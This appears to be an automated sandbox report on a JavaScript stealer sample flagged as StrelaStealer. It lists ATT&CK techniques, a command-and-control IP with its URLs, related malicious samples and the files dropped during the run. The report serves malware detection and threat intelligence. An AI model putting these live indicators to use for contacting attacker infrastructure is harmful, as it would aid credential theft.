Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1637664207127019.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer
1637664207127019.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/M	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/42	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/j	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/j	net.exe, 00000007.00000002.1519067007.000002B0E0498000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2736348957.000001D5FBE00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1505633675.000001D5FBCB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/42	net.exe, 00000007.00000002.1519118058.000002B0E04C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1507927011.000002B0E04C8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1519118058.000002B0E04C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1519067007.000002B0E0498000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1505486156.000002B0E04EC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1507927011.000002B0E04C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/M	net.exe, 00000007.00000002.1519118058.000002B0E04C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1507927011.000002B0E04C8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588643
Start date and time:	2025-01-11 03:35:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1637664207127019.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 52.6.155.20, 52.22.41.97, 3.233.129.217, 172.64.41.3, 162.159.61.3, 184.28.90.27, 199.232.210.172, 23.209.209.135, 2.16.168.105, 2.16.168.107, 20.109.210.53, 23.203.104.175, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:36:30	API Interceptor	27x Sleep call for process: powershell.exe modified
21:36:35	API Interceptor	1x Sleep call for process: net.exe modified
21:36:35	API Interceptor	2x Sleep call for process: svchost.exe modified
21:36:47	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1525641771920916745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853872402647317272.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2920450291176811805.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.802188168198402
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA3:RJE+Lfki1GjHwU/+vVhWqpe
MD5:	CDD16F8571491F1CDB1D33CA99DFC45B
SHA1:	F1C90DE5A4CFB0991491B47718FBE17BD65377DB
SHA-256:	E89DBF56C0E5CEAD85E1E9C18AE66ABFF01D5255051A33897D173936C6C59E81
SHA-512:	BBEE5A691A0B743CB193A099FCD68E366AFE127244EA535BA804B3563BFC10018977FF7F3737CE9B4C5A1311091B66CC87C806C500DC96889B334634A71856B1
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb361f704, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432918918072124
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	7EE7A051768AD1213CEA507A33F14728
SHA1:	74B803BA50A5E3B9BD8AA2D2ADB15BDE15EF03AA
SHA-256:	64EF5245FC3092897CE79E14BDB02DAB3C4C7A210F6D3353CD284152B49D7693
SHA-512:	85EE9C668C8640728F5E0FBD65BF30D719DE2FEE592A1B55F6A4DD9E988F5656141B6B1E10D9826E116F2497128C0CDD8A159059BA9E050A12693BE61AB02F4E
Malicious:	false
Preview:	.a..... ...............X\...;...{......................0.x...... ...{s.#$...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................~.a.#$...}.................G.7.#$...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08142094746135412
Encrypted:	false
SSDEEP:	3:k8GEYexRMGFcll/nqlFcl1ZUllll6oGBnrR/YllGBnX/l/Tj/k7/t:1GEzxRM9ll/qlFclQ/lUbBG254
MD5:	4467DAFDCCF41FA1344FEF5B510450E3
SHA1:	C6462E704CC3CBAE6334F0E1F742E0E43E83CF5E
SHA-256:	849AACFBF0440F60CCC89F7E7EA3A033BB708B84121F30AEDE3B16F236B83CEE
SHA-512:	9200F9AF11DFB09BE3E7DD76EF56AEDC227A4655AAED9A9D20168598D0BE31A161655138D71C52A6820250223335FE2CA22761B217701786B169C7F9BF83F227
Malicious:	false
Preview:	..U......................................;...{..#$...}... ...{s.......... ...{s.. ...{s.P.... ...{s.................G.7.#$...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1779743847753394
Encrypted:	false
SSDEEP:	6:iO4qsNu+q2PCHhJ2nKuAl9OmbnIFUtSqsLYZmwsqsBkwOCHhJ2nKuAl9OmbjLJ:7+N9vBHAahFUtQ8/SB56HAaSJ
MD5:	15B5CDCAD9F6F02CFA3043FD2B8C0517
SHA1:	9FE41C279CBBF875C41AD7446EE5FF0213C93C30
SHA-256:	2C4AB30B10F15F7A5038BD9E18453A91367111189116BEF4699BED5DB736D725
SHA-512:	BEF26BF2B3C561AE5998E69B150B1BE416D4AC2599A391F99DB0CC4F329799EBD3480A9063E7DA9CA933B3AE6C7D794D9525FBA3A4D69AD2A61535456CA7CB1E
Malicious:	false
Preview:	2025/01/10-21:36:35.142 1334 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:36:35.144 1334 Recovering log #3.2025/01/10-21:36:35.145 1334 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1779743847753394
Encrypted:	false
SSDEEP:	6:iO4qsNu+q2PCHhJ2nKuAl9OmbnIFUtSqsLYZmwsqsBkwOCHhJ2nKuAl9OmbjLJ:7+N9vBHAahFUtQ8/SB56HAaSJ
MD5:	15B5CDCAD9F6F02CFA3043FD2B8C0517
SHA1:	9FE41C279CBBF875C41AD7446EE5FF0213C93C30
SHA-256:	2C4AB30B10F15F7A5038BD9E18453A91367111189116BEF4699BED5DB736D725
SHA-512:	BEF26BF2B3C561AE5998E69B150B1BE416D4AC2599A391F99DB0CC4F329799EBD3480A9063E7DA9CA933B3AE6C7D794D9525FBA3A4D69AD2A61535456CA7CB1E
Malicious:	false
Preview:	2025/01/10-21:36:35.142 1334 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:36:35.144 1334 Recovering log #3.2025/01/10-21:36:35.145 1334 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.216181320634982
Encrypted:	false
SSDEEP:	6:iO4qsMROq2PCHhJ2nKuAl9Ombzo2jMGIFUtSqs2ZmwsqsKkwOCHhJ2nKuAl9OmbX:7+MMvBHAa8uFUtQ2/SK56HAa8RJ
MD5:	38383E5F35998BA175914C85F511C0CB
SHA1:	624A2CDE4D8FABE5EB9CA09ADE480604FFAE3736
SHA-256:	66B2E72EEA7CA5D37CABB6308240196E32670207C5DC5FB7209567399F233D1B
SHA-512:	FF0614DC05893B44C27DC6A6B031E05CD5591DB8C0D628F6417456437A83C63F66807650B832A2F68D9F516A7EC462C3B52A1E93D7684DE529C0F05F056AA223
Malicious:	false
Preview:	2025/01/10-21:36:35.177 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:36:35.179 1c94 Recovering log #3.2025/01/10-21:36:35.179 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.216181320634982
Encrypted:	false
SSDEEP:	6:iO4qsMROq2PCHhJ2nKuAl9Ombzo2jMGIFUtSqs2ZmwsqsKkwOCHhJ2nKuAl9OmbX:7+MMvBHAa8uFUtQ2/SK56HAa8RJ
MD5:	38383E5F35998BA175914C85F511C0CB
SHA1:	624A2CDE4D8FABE5EB9CA09ADE480604FFAE3736
SHA-256:	66B2E72EEA7CA5D37CABB6308240196E32670207C5DC5FB7209567399F233D1B
SHA-512:	FF0614DC05893B44C27DC6A6B031E05CD5591DB8C0D628F6417456437A83C63F66807650B832A2F68D9F516A7EC462C3B52A1E93D7684DE529C0F05F056AA223
Malicious:	false
Preview:	2025/01/10-21:36:35.177 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:36:35.179 1c94 Recovering log #3.2025/01/10-21:36:35.179 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\665a3113-d256-48f5-98d8-90b83020d7f9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.964992811511945
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLSTRsBdOg2Hdcaq3QYiub6P7E4T3y:Y2sRdswdMHs3QYhbS7nby
MD5:	9E7FB123904FF5B56526529353AB4D6E
SHA1:	F25CB05EB56ADB7A42CEB5B41133BD3C5DB3D249
SHA-256:	D8B673D697C9D4DB70DF4C7F9056F824A4C1B1A9EBB8429920727E79BD2526B3
SHA-512:	06FDCA97BA7D11C54E04747E0839D9A6DACAADC073DC1F96E9C59AFC4A51D4A61B7B0FEBC362876EADE4F61C0328048F256D92C4E69F4198E5549687B11C453E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123007676233","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137220},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964992811511945
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLSTRsBdOg2Hdcaq3QYiub6P7E4T3y:Y2sRdswdMHs3QYhbS7nby
MD5:	9E7FB123904FF5B56526529353AB4D6E
SHA1:	F25CB05EB56ADB7A42CEB5B41133BD3C5DB3D249
SHA-256:	D8B673D697C9D4DB70DF4C7F9056F824A4C1B1A9EBB8429920727E79BD2526B3
SHA-512:	06FDCA97BA7D11C54E04747E0839D9A6DACAADC073DC1F96E9C59AFC4A51D4A61B7B0FEBC362876EADE4F61C0328048F256D92C4E69F4198E5549687B11C453E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123007676233","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137220},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.233351881251417
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bh4ZiJNMZ:S43C4mS7fFi0KFYDjr3LWO3V3aw+bhup
MD5:	A16E7E886DE85DE9256A013A3D61A7C2
SHA1:	C1433C09078A68CB93A770D1292D59DD7C6D53AE
SHA-256:	08FDF5B384D9667034BC702A7EB426A949423FB9D523FFD64ED9BB82E7E54BAA
SHA-512:	DBC0A20344A9851E13D6A77E3531C33DED16BB0F3DDAEE3D32B2CC12B392DA946E73BC2C55B390E0FEFC688F594AAE31FD743FB61DA831A09A725AFE1CB618DE
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.23405824782944
Encrypted:	false
SSDEEP:	6:iO4qseUlOq2PCHhJ2nKuAl9OmbzNMxIFUtSqscGAZZmwsqscGAzkwOCHhJ2nKuAo:7+eoOvBHAa8jFUtQcR/ScL56HAa84J
MD5:	596BD56DB9857EB980D3494A7073854E
SHA1:	5A653C66E149DA38DC3FDF7BE591425245A535F6
SHA-256:	96430EECD548F5BBB0ED790D0DA8B92F0274FFE90AAA79ACC6D8F9ABD0B485E6
SHA-512:	D6DFB9F78CAA11DD73E729EAD6D4D79E2F4F4B6B6EA767ED6EE46EA919EF271285A008805EF331C4E4771E25415B9FC695A2779C0B8F19277E07410913A51C75
Malicious:	false
Preview:	2025/01/10-21:36:35.527 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:36:35.528 1c94 Recovering log #3.2025/01/10-21:36:35.528 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.23405824782944
Encrypted:	false
SSDEEP:	6:iO4qseUlOq2PCHhJ2nKuAl9OmbzNMxIFUtSqscGAZZmwsqscGAzkwOCHhJ2nKuAo:7+eoOvBHAa8jFUtQcR/ScL56HAa84J
MD5:	596BD56DB9857EB980D3494A7073854E
SHA1:	5A653C66E149DA38DC3FDF7BE591425245A535F6
SHA-256:	96430EECD548F5BBB0ED790D0DA8B92F0274FFE90AAA79ACC6D8F9ABD0B485E6
SHA-512:	D6DFB9F78CAA11DD73E729EAD6D4D79E2F4F4B6B6EA767ED6EE46EA919EF271285A008805EF331C4E4771E25415B9FC695A2779C0B8F19277E07410913A51C75
Malicious:	false
Preview:	2025/01/10-21:36:35.527 1c94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:36:35.528 1c94 Recovering log #3.2025/01/10-21:36:35.528 1c94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
